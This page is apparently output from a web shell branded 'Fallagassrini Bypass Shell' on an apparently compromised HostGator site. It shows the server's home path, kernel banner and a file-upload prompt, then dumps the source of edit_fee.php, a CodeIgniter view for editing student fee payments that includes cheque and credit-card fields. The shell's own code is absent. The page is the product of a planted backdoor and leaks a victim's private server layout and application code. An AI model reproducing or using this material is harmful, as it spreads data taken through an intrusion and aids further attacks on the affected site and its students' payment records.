? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/student/edit_fee.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>
<script type="text/javascript">    
    function checkPendingAmount(index){        
        var amount=parseInt($('#amount_'+index).val());
        if(amount!="" && amount>0){
            var pending_amount=parseInt($('#student_class_fee_'+index).val())-parseInt($('#paid_amount_'+index).val())+parseInt($('#last_paid_amount_'+index).val());            
            if(amount>pending_amount){
                alert("Amount could not exceed pending amount");
                $('#amount_'+index).val(0)
            }
        }    
        else{
            $('#amount_'+index).val(0)
        }
    }
</script>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_fee_posted','view_fee_posted','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Update Fee Payment</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_fee/view_fee_posted/1', $attributes);
?>
<div class="clean"></div> 
<!--<div style="width: 500px;margin: 0 auto;">-->
<div class="grid_6" >
    <div class="box">
        <div class="header main no-icon">                   
            Student Details
        </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Student</label>
                <div>
                    <input readonly="readonly" type="text" name="student" id="student"  value='<?= $student_class_details->first_name . $student_class_details->last_name ?>' class="required"/>
                    <input readonly="readonly" type="hidden" name="student_id" id="student_id" value="<?= $student_class_details->student_id ?>" /> 
                </div>
            </div>

            <div class="section _100" >
                <label>Student No</label>           
                <div  id="reg_no" class="single_page">
                    <?= $student_class_details->reg_no ?>
                </div> 
            </div>
            <div class="section _100" >
                <label>Gender</label>           
                <div  id="gender" class="single_page">
                    <?= $student_class_details->gender ?>
                </div> 
            </div> 
            <div class="section _100" >
                <label>Nationality</label>           
                <div  id="nationality" class="single_page">
                    <?= $this->mastermodel->get_single_field_value('nationality','nationality_name','nationality_id',$student_class_details->nationality_id) ?>
                </div> 
            </div> 


            <div class="section _100">
                <label>Class Name Code</label>
                <div>                    
                    <input type="text" name="class_name_code" id="class_name_code"  value='<?= $student_class_details->class_name_code ?>' class="required" readonly="readonly" placeholder="Select Student First"/>                   
                    <input readonly="readonly"  type="hidden" name="class_name_id" id="class_name_id" value="<?= $viewinfo->class_name_id ?>" />  
                </div>
            </div>     
        </div>
        <input type="hidden" name="student_class_id" id="student_class_id"  value="<?= $viewinfo->student_class_id ?>"/>
    </div>
</div>
<!--</div>-->

<div class="grid_6">
    <div class="box">
        <div class="header  main no-icon">                   
            Fee Payment
        </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Receipt No</label>
                <div>                    
                    <input type="text" value="<?= $viewinfo->fee_receipt_no ?>" name="" id="" class="" readonly="readonly" placeholder="--Auto Generated--"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Date</label>
                <div>                    
                    <input type="text" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->fee_date) ?>" name="fee_date" id="fee_date" class="required calfocus" />  
                </div>
            </div>                      
            <div class="section _100">
                <label>Payment Mode</label>
                <div>                                          
                    <select name="payment_mode" id="payment_mode" class="required  chzn-done" onchange="get_payment_mode(this.value, 'payment_mode_div','')">
                        <?php
                        $payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
                        foreach ($payment_type as $value) {
                            echo '<option value="' . $value['payment_type_id'] . '"';
                            if ($viewinfo->payment_mode == $value['payment_type_id'])
                                echo "selected";echo' >' . $value["payment_type"] . '</option>';
                        }
                        ?>
                    </select>
                </div>
            </div>
            <div class="section _100">
                <label>Remarks</label>
                <div>   
                    <textarea name="remarks" id="remarks" class=""><?= $viewinfo->remarks ?></textarea>
                </div>
            </div>      
        </div> 
    </div> 
</div> 

<div class="grid_6">
    <div class="box" id='payment_mode_div'>
        <?php
        if ($viewinfo->payment_mode == 2) {
            $cheque = $this->mastermodel->get_data_srow('fee_cheque_info', $viewinfo->fee_id, 'fee_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">
                    <tr>
                        <th>Cheque Date</th>
                        <th>Cheque No</th>
                        <th>Cheque Info</th>
                    </tr>
                    <tr>
                        <td>
                            <input class="w_90 required" type="dateonly" name="cheque_date" id="cheque_date" value="<?= $this->mastermodel->convertdatenormalformat($cheque->cheque_date) ?>"/>
                        </td>
                        <td>
                            <input class="w_90 required num_only" type="text" name="cheque_no" id="cheque_no" value="<?= $cheque->cheque_no ?>"/>
                        </td>
                        <td>
                            <textarea class=" required"  name="bank_drawn" id="bank_drawn"><?= $cheque->bank_drawn ?></textarea>
                        </td> 
                    </tr>
                </table>
            </div>
            <?php
        } else if ($viewinfo->payment_mode == 3) {
            $credit_card_info = $this->mastermodel->get_data_srow('fee_credit_card_info', $viewinfo->fee_id, 'fee_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">
                    <tr>
                        <th>Credit Card Holder Name</th>
                        <th>Credit Card No</th>
                    </tr>
                    <tr>
                        <td>
                            <input class="required  " type="text" name="holder_name" id="holder_name" value="<?= $credit_card_info->credit_card_holder ?>"/>
                            <div  style="padding: 0 5px;width:127px;display: block;height: 9px;">
        <!--                        <span style="color: red;" id="cheque_no_date"></span></div>-->
                        </td>
                        <td>
                            <input class="w_90 required " type="text" name="card_no" id="card_no"  value="<?= $credit_card_info->credit_card_no ?>" /><br/>
                            <div  style="color: red;padding: 0 5px;width:200px;display: block;height: 25px;">
        <!--                        <span id="cheque_no_info"></span></div>-->
                        </td>                
                    </tr>
                </table>
            </div>
            <?php
        } else if ($viewinfo->payment_mode == 4) {
            $bank_transfer_info = $this->mastermodel->get_data_srow('fee_bank_transfer_info', $viewinfo->fee_id, 'fee_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">        
                    <tr>
                        <th>Description</th>  
                        <td>
                            <textarea name="bank_transfer_description" id="bank_transfer_description" style="width:250px;"><?= $bank_transfer_info->description ?></textarea>
                        </td>

                    </tr>
                </table>
            </div>
            <?php
        }
        ?>
    </div>
</div>
        
<div class="clean"></div>
<div class="grid_12">
    <div class="box">
        <div class="header">     
        </div>
        <div class="content no-padding"> 
            <table  class="table">
                <thead>
                    <tr>
                        <th>Sl</th>
                        <th>Fee Particulars</th>
                        <th>Payment Period</th>
                        <th>Fee</th>
                        <th>Amount Paid</th>
                        <th>Amount</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $fee_last_paid = array();
                    foreach ($fee_last_paid_details as $fee_list) {
                        $fee_last_paid[$fee_list['student_class_fee_id']][$fee_list['payment_for']] = $fee_list['amount_paid'];
//                        echo $fee_list->amount_paid;
                    }
                    $i = 1;
                    $academic_year_id = $this->mastermodel->get_single_field_value('academic_year', 'academic_year_id', 'academic_year_year', $academic_year);
                    $term_academic_details = $this->mastermodel->get_data_dual_srow('term_academic_details', $term, 'term_id', $academic_year_id, 'academic_year_id');
                    $sl = 0;
                    foreach ($student_fee_details as $fee_list) {
                        $paid = 0;
                        $student_class_id = $fee_list['student_class_id'];
                        $start = $term_academic_details->term_start_date;
                        $end = $term_academic_details->term_end_date;
                        $dt = $term_academic_details->term_start_date;
                        $student_class_fee_id = $fee_list['student_class_fee_id'];
                        $last_paid_amount = 0;
                        ?>
                        <tr>
                            <td><?= ++$sl ?></td>
                            <td><?= $fee_list['fee_particular_name'] ?></td>
                            <?php
                            $monthly_fee_id = 0;
                            if (isset($student_monthly_fee_details[$fee_list['student_class_fee_id']])) {
                                $monthly_fee_id = $student_monthly_fee_details[$fee_list['student_class_fee_id']][0]['student_monthly_fee_id'];
                            }
                            if ($fee_list['payment_type'] == "monthly") {


                                $k = 0;
                                while (strtotime($dt) <= strtotime($end)) {
                                    $payment_for = $dt;
                                    $month = date('M', strtotime($dt));
                                    $year = date('Y', strtotime($dt));
                                    $month_amount = $this->studentmodel->get_student_monthly_wef_date($fee_list['student_class_id'], $dt);
                                    $amount = 0;
                                    if (isset($month_amount[$fee_list['student_class_fee_id']][0]['amount'])) {
                                        $amount = $month_amount[$fee_list['student_class_fee_id']][0]['amount'];
                                    }
                                    $last_paid_amount = 0;
                                    if (isset($fee_last_paid[$student_class_fee_id][$dt]))
                                        $last_paid_amount = $fee_last_paid[$student_class_fee_id][$dt];
                                    if ($k > 0) {
                                        ?>
                                    <tr>     
                                        <td></td>
                                        <td></td>
                                        <?php
                                    }
                                    ?>

                                    <td>
                                        <?= ($k == 0) ? 'Monthly<br/>' : "" ?>    
                                        <?= $month . '-' . $year ?>
                                        <input type="hidden" name="payment_for_<?= $i ?>" value=" <?= $dt ?>"/>
                                    </td>
                                    <td>
                                        <input style="width:100px;"  readonly="readonly" name="student_class_fee_<?= $i ?>" id="student_class_fee_<?= $i ?>" value="<?= $amount ?>"/>
                                        <input type="hidden" name="student_class_fee_id_<?= $i ?>" id="student_class_fee_id_<?= $i ?>" value="<?= $student_class_fee_id ?>"/>
                                    </td>
                                    <td>
                                        <?php
                                        $amount_paid = 0;
                                        if (isset($student_fee_paid_details[$student_class_id][$student_class_fee_id][$payment_for])) {
                                            $paid = $student_fee_paid_details[$student_class_id][$student_class_fee_id][$payment_for];
                                            $amount_paid = $paid['amount_paid'];
                                        }
                                        ?>
                                        <input style="width:100px;"  name="paid_amount_<?= $i ?>" id="paid_amount_<?= $i ?>"  value="<?= $amount_paid ?>"  readonly="readonly"/>
                                    </td>
                                    <td>
                                        <input type="hidden" value="<?= $last_paid_amount ?>" name="last_paid_amount_<?= $i ?>" id="last_paid_amount_<?= $i ?>"/>                            
                                        <input name="amount_<?= $i ?>" id="amount_<?= $i ?>" value="<?= $last_paid_amount ?>" onblur="checkPendingAmount('<?= $i ?>')"/>
                                    </td>
                                </tr>
                                <?
                                $i++;
                                $k++;
                                $dt = date('Y-m-01', strtotime("+1 months", strtotime($dt)));
                            }
                        } else {
                            $amount = $fee_list['fee_amount'];
                            $amount_paid = 0;
                            if (isset($student_fee_paid_details[$student_class_id][$student_class_fee_id]['0000-00-00'])) {
                                $paid = $student_fee_paid_details[$student_class_id][$student_class_fee_id]['0000-00-00'];
                                $amount_paid = $paid['amount_paid'];
                            }
                            $last_paid_amount = 0;
                            if (isset($fee_last_paid[$student_class_fee_id]['0000-00-00']))
                                $last_paid_amount = $fee_last_paid[$student_class_fee_id]['0000-00-00'];
                            ?>
                        <td>Term Wise
                            <input type="hidden" name="payment_for_<?= $i ?>" value=" <?= '0000-00-00' ?>"/>
                        </td>
                        <td>                           
                            <input style="width:100px;"  type="text" readonly="readonly" name="student_class_fee_<?= $i ?>" id="student_class_fee_<?= $i ?>" value="<?= $amount ?>"/>
                            <input type="hidden" name="student_class_fee_id_<?= $i ?>" id="student_class_fee_id_<?= $i ?>" value="<?= $student_class_fee_id ?>"/>                                   
                        </td>
                        <td>
                            <input style="width:100px;" name="paid_amount_<?= $i ?>" id="paid_amount_<?= $i ?>" value="<?= $amount_paid ?>" readonly="readonly"/>
                        </td>
                        <td>
                            <input type="hidden" value="<?= $last_paid_amount ?>" name="last_paid_amount_<?= $i ?>" id="last_paid_amount_<?= $i ?>"/>
                            <input type="text" value="<?= $last_paid_amount ?>" name="amount_<?= $i ?>" id="amount_<?= $i ?>" onblur="checkPendingAmount('<?= $i ?>')"/>
                        </td>
                        </tr>
        <?php
        $i++;
    }
}
?>
                </tbody>
            </table>
        </div>
    </div>
</div>
<div class="grid_12" >
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">Other Fee Details</div>
            
            <table class="table" id="student_tb">
                <tr>                      
                    <th>Fee Name</th>
                    <th>Amount
                    <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                </tr>  
                <?php
                $fee_other=$this->mastermodel->get_data('fee_paid_details_other',$viewinfo->fee_id,'fee_id');
                foreach($fee_other as $list)    
                {
                ?>
                <tr>                        
                    <td>
                        <input type="text" value="<?=$list['fee_other_name'];?>" name="fee_other_name" id="fee_other_name" />

                    </td>
                    <td>
                        <input type="text" value="<?=$list['fee_other_amount'];?>" name="fee_other_amount" id="fee_other_amount" class="medium1 number" />

                    </td>
                    <td>
                        <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                    </td>
                </tr>
                <?php
                }
                ?>
                <tr>                        
                    <td>
                        <input type="text" name="fee_other_name" id="fee_other_name" />

                    </td>
                    <td>
                        <input type="text" name="fee_other_amount" id="fee_other_amount" class="medium1 number" />

                    </td>
                    <td>
                        <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                    </td>


                </tr>

            </table>
        </div>
    </div>

</div>

<div class="grid_12">
    <div class="box">
        <div class="content no-padding">
            <div class="actions">
                <div class="actions-left">
                    <input type="reset">
                    <input type="hidden" value="<?= $i ?>" name="index"/>
                    <input type="hidden" name="resfunction" value="search_fee_payment"/>
                    <input type="hidden" name="fee_id" value="<?= $viewinfo->fee_id ?>" id="fee_id"/>
                    <input type="hidden" name="table" value="fee"/>
                </div>
                <div class="actions-right">
                    <button style="margin-left: 130px;" type="submit" id="submit" class="clickimage" onclick="checkdatavalidity($('input#student_id').val(), '#student_id', 'No existing student selected');
                        checkdatavalidity($('input#class_name_id').val(), '#class_name_id', 'No existing Class selected');addformdata('validateform')">Save</button>
                </div>
            </div> 
        </div>
    </div>
</div>
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net